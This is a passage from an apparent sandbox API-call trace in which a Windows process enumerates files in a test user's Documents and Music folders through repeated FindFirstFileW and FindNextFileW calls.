ftCreationTime.dwHighDateTime=0x1d632c2, ftLastAccessTime.dwLowDateTime=0xb28455e0, ftLastAccessTime.dwHighDateTime=0x1d624eb, ftLastWriteTime.dwLowDateTime=0xb28455e0, ftLastWriteTime.dwHighDateTime=0x1d624eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="xUxxw.ppt", cAlternateFileName="")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf68f450, ftCreationTime.dwHighDateTime=0x1d632c2, ftLastAccessTime.dwLowDateTime=0xb28455e0, ftLastAccessTime.dwHighDateTime=0x1d624eb, ftLastWriteTime.dwLowDateTime=0xb28455e0, ftLastWriteTime.dwHighDateTime=0x1d624eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="xUxxw.ppt", cAlternateFileName="")) returned 0 [0086.381] FindClose (in: hFindFile=0x1ae50610 | out: hFindFile=0x1ae50610) returned 1 [0086.381] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9Lfd9\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x415a640, ftCreationTime.dwHighDateTime=0x1d62328, ftLastAccessTime.dwLowDateTime=0x48310bc0, ftLastAccessTime.dwHighDateTime=0x1d62491, ftLastWriteTime.dwLowDateTime=0x48310bc0, ftLastWriteTime.dwHighDateTime=0x1d62491, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae507f0 [0086.381] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x415a640, ftCreationTime.dwHighDateTime=0x1d62328, ftLastAccessTime.dwLowDateTime=0x48310bc0, ftLastAccessTime.dwHighDateTime=0x1d62491, ftLastWriteTime.dwLowDateTime=0x48310bc0, ftLastWriteTime.dwHighDateTime=0x1d62491, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5394c5f0, ftCreationTime.dwHighDateTime=0x1d62e3d, ftLastAccessTime.dwLowDateTime=0x1ef95380, ftLastAccessTime.dwHighDateTime=0x1d630f7, ftLastWriteTime.dwLowDateTime=0x1ef95380, ftLastWriteTime.dwHighDateTime=0x1d630f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVZq9d8oHy", cAlternateFileName="EVZQ9D~1")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d02110, ftCreationTime.dwHighDateTime=0x1d62674, ftLastAccessTime.dwLowDateTime=0x570b3a20, ftLastAccessTime.dwHighDateTime=0x1d62e60, ftLastWriteTime.dwLowDateTime=0x570b3a20, ftLastWriteTime.dwHighDateTime=0x1d62e60, nFileSizeHigh=0x0, nFileSizeLow=0x7170, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtahz.pptx", cAlternateFileName="MTAHZ~1.PPT")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf68f450, ftCreationTime.dwHighDateTime=0x1d632c2, ftLastAccessTime.dwLowDateTime=0xb28455e0, ftLastAccessTime.dwHighDateTime=0x1d624eb, ftLastWriteTime.dwLowDateTime=0xb28455e0, ftLastWriteTime.dwHighDateTime=0x1d624eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="xUxxw.ppt", cAlternateFileName="")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae507f0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.381] FindClose (in: hFindFile=0x1ae507f0 | out: hFindFile=0x1ae507f0) returned 1 [0086.381] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9Lfd9\\EVZq9d8oHy\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5394c5f0, ftCreationTime.dwHighDateTime=0x1d62e3d, ftLastAccessTime.dwLowDateTime=0x1ef95380, ftLastAccessTime.dwHighDateTime=0x1d630f7, ftLastWriteTime.dwLowDateTime=0x1ef95380, ftLastWriteTime.dwHighDateTime=0x1d630f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50610 [0086.382] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5394c5f0, ftCreationTime.dwHighDateTime=0x1d62e3d, ftLastAccessTime.dwLowDateTime=0x1ef95380, ftLastAccessTime.dwHighDateTime=0x1d630f7, ftLastWriteTime.dwLowDateTime=0x1ef95380, ftLastWriteTime.dwHighDateTime=0x1d630f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c4e3400, ftCreationTime.dwHighDateTime=0x1d6286e, ftLastAccessTime.dwLowDateTime=0xac8a2690, ftLastAccessTime.dwHighDateTime=0x1d63109, ftLastWriteTime.dwLowDateTime=0xac8a2690, ftLastWriteTime.dwHighDateTime=0x1d63109, nFileSizeHigh=0x0, nFileSizeLow=0x16350, dwReserved0=0x0, dwReserved1=0x0, cFileName="0aieL6z.ppt", cAlternateFileName="")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9858080, ftCreationTime.dwHighDateTime=0x1d62bd6, ftLastAccessTime.dwLowDateTime=0x2171fef0, ftLastAccessTime.dwHighDateTime=0x1d63197, ftLastWriteTime.dwLowDateTime=0x2171fef0, ftLastWriteTime.dwHighDateTime=0x1d63197, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AeVUcM.doc", cAlternateFileName="")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50375d60, ftCreationTime.dwHighDateTime=0x1d626da, ftLastAccessTime.dwLowDateTime=0x13fc6690, ftLastAccessTime.dwHighDateTime=0x1d62d8f, ftLastWriteTime.dwLowDateTime=0x13fc6690, ftLastWriteTime.dwHighDateTime=0x1d62d8f, nFileSizeHigh=0x0, nFileSizeLow=0x17fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="xtnE rhco0pR.docx", cAlternateFileName="XTNERH~1.DOC")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50375d60, ftCreationTime.dwHighDateTime=0x1d626da, ftLastAccessTime.dwLowDateTime=0x13fc6690, ftLastAccessTime.dwHighDateTime=0x1d62d8f, ftLastWriteTime.dwLowDateTime=0x13fc6690, ftLastWriteTime.dwHighDateTime=0x1d62d8f, nFileSizeHigh=0x0, nFileSizeLow=0x17fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="xtnE rhco0pR.docx", cAlternateFileName="XTNERH~1.DOC")) returned 0 [0086.382] FindClose (in: hFindFile=0x1ae50610 | out: hFindFile=0x1ae50610) returned 1 [0086.382] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9Lfd9\\EVZq9d8oHy\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5394c5f0, ftCreationTime.dwHighDateTime=0x1d62e3d, ftLastAccessTime.dwLowDateTime=0x1ef95380, ftLastAccessTime.dwHighDateTime=0x1d630f7, ftLastWriteTime.dwLowDateTime=0x1ef95380, ftLastWriteTime.dwHighDateTime=0x1d630f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50730 [0086.382] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5394c5f0, ftCreationTime.dwHighDateTime=0x1d62e3d, ftLastAccessTime.dwLowDateTime=0x1ef95380, ftLastAccessTime.dwHighDateTime=0x1d630f7, ftLastWriteTime.dwLowDateTime=0x1ef95380, ftLastWriteTime.dwHighDateTime=0x1d630f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c4e3400, ftCreationTime.dwHighDateTime=0x1d6286e, ftLastAccessTime.dwLowDateTime=0xac8a2690, ftLastAccessTime.dwHighDateTime=0x1d63109, ftLastWriteTime.dwLowDateTime=0xac8a2690, ftLastWriteTime.dwHighDateTime=0x1d63109, nFileSizeHigh=0x0, nFileSizeLow=0x16350, dwReserved0=0x0, dwReserved1=0x0, cFileName="0aieL6z.ppt", cAlternateFileName="")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9858080, ftCreationTime.dwHighDateTime=0x1d62bd6, ftLastAccessTime.dwLowDateTime=0x2171fef0, ftLastAccessTime.dwHighDateTime=0x1d63197, ftLastWriteTime.dwLowDateTime=0x2171fef0, ftLastWriteTime.dwHighDateTime=0x1d63197, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AeVUcM.doc", cAlternateFileName="")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50375d60, ftCreationTime.dwHighDateTime=0x1d626da, ftLastAccessTime.dwLowDateTime=0x13fc6690, ftLastAccessTime.dwHighDateTime=0x1d62d8f, ftLastWriteTime.dwLowDateTime=0x13fc6690, ftLastWriteTime.dwHighDateTime=0x1d62d8f, nFileSizeHigh=0x0, nFileSizeLow=0x17fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="xtnE rhco0pR.docx", cAlternateFileName="XTNERH~1.DOC")) returned 1 [0086.382] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.382] FindClose (in: hFindFile=0x1ae50730 | out: hFindFile=0x1ae50730) returned 1 [0086.382] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0086.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ed90) returned 1 [0086.394] EtwEventRegister (in: ProviderId=0x25caf80, EnableCallback=0x1b27090c, CallbackContext=0x0, RegHandle=0x25caf60 | out: RegHandle=0x25caf60) returned 0x0 [0086.399] EtwEventSetInformation (RegHandle=0x4f0000009d31e0, InformationClass=0x2, EventInformation=0x25caf08, InformationLength=0x33) returned 0x0 [0086.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71b800) returned 1 [0086.445] CoTaskMemAlloc (cb=0x20c) returned 0x1ae53980 [0086.445] SHGetFolderPathW (in: hwnd=0x0, csidl=13, hToken=0x0, dwFlags=0x0, pszPath=0x1ae53980 | out: pszPath="C:\\Users\\FD1HVy\\Music") returned 0x0 [0086.445] CoTaskMemFree (pv=0x1ae53980) [0086.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music", nBufferLength=0x105, lpBuffer=0x71e8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music", lpFilePart=0x0) returned 0x15 [0086.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71eed0) returned 1 [0086.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music", nBufferLength=0x105, lpBuffer=0x71e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music", lpFilePart=0x0) returned 0x15 [0086.446] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*.*", lpFindFileData=0x71ebf0 | out: lpFindFileData=0x71ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7efa65, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7efa65, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50970 [0086.446] FindClose (in: hFindFile=0x1ae50970 | out: hFindFile=0x1ae50970) returned 1 [0086.446] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7efa65, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7efa65, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50970 [0086.446] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7efa65, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7efa65, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.446] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89cb4eb0, ftCreationTime.dwHighDateTime=0x1d624c8, ftLastAccessTime.dwLowDateTime=0xc2b618d0, ftLastAccessTime.dwHighDateTime=0x1d6318a, ftLastWriteTime.dwLowDateTime=0xc2b618d0, ftLastWriteTime.dwHighDateTime=0x1d6318a, nFileSizeHigh=0x0, nFileSizeLow=0x1502b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8S2A7XGRPOZ5.m4a", cAlternateFileName="8S2A7X~1.M4A")) returned 1 [0086.446] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf1f6e50, ftCreationTime.dwHighDateTime=0x1d62475, ftLastAccessTime.dwLowDateTime=0xeafabd40, ftLastAccessTime.dwHighDateTime=0x1d63203, ftLastWriteTime.dwLowDateTime=0xeafabd40, ftLastWriteTime.dwHighDateTime=0x1d63203, nFileSizeHigh=0x0, nFileSizeLow=0xb23d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8wwh.m4a", cAlternateFileName="")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb52c710, ftCreationTime.dwHighDateTime=0x1d62da4, ftLastAccessTime.dwLowDateTime=0xaa46b590, ftLastAccessTime.dwHighDateTime=0x1d632d2, ftLastWriteTime.dwLowDateTime=0xaa46b590, ftLastWriteTime.dwHighDateTime=0x1d632d2, nFileSizeHigh=0x0, nFileSizeLow=0x6b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6ie_n MfL9C.mp3", cAlternateFileName="A6IE_N~1.MP3")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5dbd510, ftCreationTime.dwHighDateTime=0x1d628f9, ftLastAccessTime.dwLowDateTime=0xa1373d0, ftLastAccessTime.dwHighDateTime=0x1d62457, ftLastWriteTime.dwLowDateTime=0xa1373d0, ftLastWriteTime.dwHighDateTime=0x1d62457, nFileSizeHigh=0x0, nFileSizeLow=0xbc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="d t31.wav", cAlternateFileName="DT31~1.WAV")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31370c70, ftCreationTime.dwHighDateTime=0x1d625c3, ftLastAccessTime.dwLowDateTime=0x900c3e70, ftLastAccessTime.dwHighDateTime=0x1d62765, ftLastWriteTime.dwLowDateTime=0x900c3e70, ftLastWriteTime.dwHighDateTime=0x1d62765, nFileSizeHigh=0x0, nFileSizeLow=0x6ed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dC 8L.wav", cAlternateFileName="DC8L~1.WAV")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84980bd0, ftCreationTime.dwHighDateTime=0x1d62393, ftLastAccessTime.dwLowDateTime=0x13f37270, ftLastAccessTime.dwHighDateTime=0x1d62898, ftLastWriteTime.dwLowDateTime=0x13f37270, ftLastWriteTime.dwHighDateTime=0x1d62898, nFileSizeHigh=0x0, nFileSizeLow=0x5054, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCRB V6-a54Gsv1Rv.wav", cAlternateFileName="DCRBV6~1.WAV")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986f8fc0, ftCreationTime.dwHighDateTime=0x1d62622, ftLastAccessTime.dwLowDateTime=0x50e267e0, ftLastAccessTime.dwHighDateTime=0x1d62410, ftLastWriteTime.dwLowDateTime=0x50e267e0, ftLastWriteTime.dwHighDateTime=0x1d62410, nFileSizeHigh=0x0, nFileSizeLow=0xb5f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="dPsy3Ez w.m4a", cAlternateFileName="DPSY3E~1.M4A")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6244d60, ftCreationTime.dwHighDateTime=0x1d632b0, ftLastAccessTime.dwLowDateTime=0xb31ed220, ftLastAccessTime.dwHighDateTime=0x1d626a1, ftLastWriteTime.dwLowDateTime=0xb31ed220, ftLastWriteTime.dwHighDateTime=0x1d626a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FjIzw", cAlternateFileName="")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc22472e0, ftCreationTime.dwHighDateTime=0x1d63158, ftLastAccessTime.dwLowDateTime=0xb5b24450, ftLastAccessTime.dwHighDateTime=0x1d6300f, ftLastWriteTime.dwLowDateTime=0xb5b24450, ftLastWriteTime.dwHighDateTime=0x1d6300f, nFileSizeHigh=0x0, nFileSizeLow=0x9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HnNp4jqCm.m4a", cAlternateFileName="HNNP4J~1.M4A")) returned 1 [0086.447] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5210, ftCreationTime.dwHighDateTime=0x1d62ac2, ftLastAccessTime.dwLowDateTime=0x4a3a72f0, ftLastAccessTime.dwHighDateTime=0x1d632cc, ftLastWriteTime.dwLowDateTime=0x4a3a72f0, ftLastWriteTime.dwHighDateTime=0x1d632cc, nFileSizeHigh=0x0, nFileSizeLow=0x80f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="metiWtCzWYSrh.wav", cAlternateFileName="METIWT~1.WAV")) returned 1 [0086.448] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d9f50, ftCreationTime.dwHighDateTime=0x1d62c24, ftLastAccessTime.dwLowDateTime=0x2fede130, ftLastAccessTime.dwHighDateTime=0x1d626a0, ftLastWriteTime.dwLowDateTime=0x2fede130, ftLastWriteTime.dwHighDateTime=0x1d626a0, nFileSizeHigh=0x0, nFileSizeLow=0x3d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="qA64HKIB.mp3", cAlternateFileName="")) returned 1 [0086.448] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a14dd00, ftCreationTime.dwHighDateTime=0x1d624b0, ftLastAccessTime.dwLowDateTime=0x207b2db0, ftLastAccessTime.dwHighDateTime=0x1d62b06, ftLastWriteTime.dwLowDateTime=0x207b2db0, ftLastWriteTime.dwHighDateTime=0x1d62b06, nFileSizeHigh=0x0, nFileSizeLow=0x5981, dwReserved0=0x0, dwReserved1=0x0, cFileName="TM6eV_jyRFbhOXTEd.wav", cAlternateFileName="TM6EV_~1.WAV")) returned 1 [0086.448] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39ed9a60, ftCreationTime.dwHighDateTime=0x1d6241e, ftLastAccessTime.dwLowDateTime=0x7a843490, ftLastAccessTime.dwHighDateTime=0x1d62d4b, ftLastWriteTime.dwLowDateTime=0x7a843490, ftLastWriteTime.dwHighDateTime=0x1d62d4b, nFileSizeHigh=0x0, nFileSizeLow=0x16294, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vvff.m4a", cAlternateFileName="")) returned 1 [0086.448] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bc53100, ftCreationTime.dwHighDateTime=0x1d632d3, ftLastAccessTime.dwLowDateTime=0x365c7840, ftLastAccessTime.dwHighDateTime=0x1d62b0c, ftLastWriteTime.dwLowDateTime=0x365c7840, ftLastWriteTime.dwHighDateTime=0x1d62b0c, nFileSizeHigh=0x0, nFileSizeLow=0xbffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="xsJXPOsP.mp3", cAlternateFileName="")) returned 1 [0086.448] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630431e0, ftCreationTime.dwHighDateTime=0x1d628d6, ftLastAccessTime.dwLowDateTime=0x614e33e0, ftLastAccessTime.dwHighDateTime=0x1d62c4c, ftLastWriteTime.dwLowDateTime=0x614e33e0, ftLastWriteTime.dwHighDateTime=0x1d62c4c, nFileSizeHigh=0x0, nFileSizeLow=0x1129e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_BqkYlK.mp3", cAlternateFileName="")) returned 1 [0086.448] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630431e0, ftCreationTime.dwHighDateTime=0x1d628d6, ftLastAccessTime.dwLowDateTime=0x614e33e0, ftLastAccessTime.dwHighDateTime=0x1d62c4c, ftLastWriteTime.dwLowDateTime=0x614e33e0, ftLastWriteTime.dwHighDateTime=0x1d62c4c, nFileSizeHigh=0x0, nFileSizeLow=0x1129e, dwReserved0=0x0, dwReserved1=0x0, cFileName="_BqkYlK.mp3", cAlternateFileName="")) returned 0 [0086.448] FindClose (in: hFindFile=0x1ae50970 | out: hFindFile=0x1ae50970) returned 1 [0086.448] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7efa65, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7efa65, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50fd0 [0086.448] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7efa65, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7efa65, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.449] FindNextFileW (in: hFindFile=0x1ae50fd0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89cb4eb0, ftCreationTime.dwHighDateTime=0x1d624c8, ftLastAccessTime.dwLowDateTime=0xc2b618d0, ftLastAccessTime.dwHighDateTime=0x1d6318a, ftLastWriteTime.dwLowDateTime=0xc2b618d0, ftLastWriteTime.dwHighDateTime=0x1d6318a, 